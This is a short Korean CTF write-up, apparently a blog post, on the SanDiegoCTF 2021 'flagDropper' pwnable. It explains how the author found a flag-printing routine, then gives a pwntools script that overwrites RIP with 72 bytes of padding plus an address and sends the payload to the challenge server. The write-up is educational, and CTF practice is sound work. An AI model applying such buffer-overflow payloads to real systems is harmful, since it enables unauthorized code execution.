문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
문자열 찾기해서 어디서 인풋되는지도 찾고.. flag.txt도 안에 들어있는 걸 운좋게 확인했다.
syscall을 바로 쓴게 인상깊다.
exit 함수 안에 sys_exit를 호출한 이후, flag를 열어서 화면에 출력해준다. RIP를 exit 함수 그자체가 아닌 flag를 여는 부분으로 바꿔줘야한다.
RIP를 control할 수 있는지 테스트해보니까(main 마지막에 jmp [rax]가 있음) 가능해서 바로 flag를 얻었다.
from pwn import *
#p = process('./flagDropper')
p = remote('dropper.sdc.tf', 1337)
e = ELF('./flagDropper')
payload = ''
payload += 'A' * 72
payload += p64(0x4005da)
print len(payload)
pause()
p.send(payload)
p.interactive()
'CTF > Write UPs' 카테고리의 다른 글
[SanDiegoCTF 2021 : pwnable] printFAILED 풀이 (FSB) (0) | 2021.05.11 |
---|---|
[SanDiegoCTF 2021 : pwnable] Unique Lasso 풀이 (Sig ROP) (0) | 2021.05.10 |
[DawgCTF 2021] 내가 푼 문제들 풀이 (0) | 2021.05.10 |
[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개) (0) | 2021.04.27 |
[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정) (0) | 2021.04.26 |